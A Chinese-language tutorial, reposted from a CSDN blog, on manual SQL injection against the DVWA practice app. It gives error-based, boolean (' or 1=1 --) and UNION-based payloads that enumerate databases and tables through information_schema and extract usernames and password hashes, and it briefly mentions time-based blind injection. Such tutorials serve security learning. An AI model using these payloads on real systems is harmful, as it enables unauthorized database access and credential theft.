web安全手动sql注入

sql注入流程

1.判断是否有sql注入漏洞;

2.判断操作系统,数据库和web应用的类型;

3.获取数据库信息,包括数据库管理员信息及拖库;

4.加密信息破解,mysql可自动破解;

5.提升权限,获得sql-shell、os-shell、登陆应用后台;

按照执行效果分类

基于布尔的盲注    即可以根据返回页面判断条件真假的注入。
基于时间的盲注    即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入       即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入       可以使用union的情况下的注入。
堆查询注入          可以同时执行多条语句的执行时的注入。

基于错误的注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;

通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。

通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

在owasp低安全级别中,后端程序没有安全过滤直接将输入内容带入到数据库语句。

服务器端sql语句测试

源命令 select first_name,last_name from dvwa.users where user_id='$id'";

测试命令 select first_name,last_name from dvwa.users where user_id=' ' ';

输入单引号测试后端程序是否有报错,只要有报错就说明有注入的可能性,也就是有注入点。

基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句,构造or和and逻辑语句,--注释多余的代码;

服务器端sql语句测试

源命令 select first_name,last_name from dvwa.users where user_id='$id'";

测试命令 select first_name,last_name from dvwa.users where user_id='    ' or 1=1 --     ';

注入语句解析 '  or 1=1 --  '

第一个  '  用于闭合前面的条件

or 1=1 为真的条件

-- 将注释后面的所有语句

基于UNION注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;

一般通过错误和布尔注入确认注入点后,开始通过UNION语句来获取有效信息。

(1);\\猜测数据列数

' union select 1 --  '

' union select 1,2 --  '

' union select 1,2,3 --  '

' union select 1,2,3,4 --  '

SQL注入语句解析;

select first_name,last_name from dvwa.users where user_id=''union select 1 --  ‘;

select first_name,last_name from dvwa.users where user_id=''union select 1,2 --  ‘;

\\获得当前数据库及用户信息

'union select version(),database() --   ‘    \\获取数据库的版本信息

'union select user(),database() --   ‘         \\获取当前程序通过哪个账号连接数据库的

获取当前用户

获取当前库

\\查询数据库中的所有表

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;

元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

SQL注入语句解析;

select * from information_schema.TABLES\G

//查询所有库名

'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --   ‘

select first_name,last_name from dvwa.users where user_id='  'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '  '

//同时查询表名及对应库名

'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '

select first_name,last_name from dvwa.users where user_id=' 'union select TABLE_SCHEMA,table_name from INFORMATION_SCHMA.tables --' '

//查询数据列

'union select NULL,user from users -- '

'union select NULL,password from users -- '

'union select user, password from users -- '

'union select NULL, GRANTEE from USER_PRIVILEGES  --  '

'union select password, concat(first_name,'   ',last_name,'   ',user)from users -- '

SQL注入语句解析:

use dvwa;

select first_name,last_name from dvwa.users where user_id=' 'union select password,concat(first_name,' ',last_name,' ',user) from users -- ' '

基于时间盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

通过时间语句sleep使网页停顿一定时间判断是否有注入点,如果停顿说明有注入点。

猜你喜欢

转载自blog.csdn.net/qq_42094992/article/details/89842881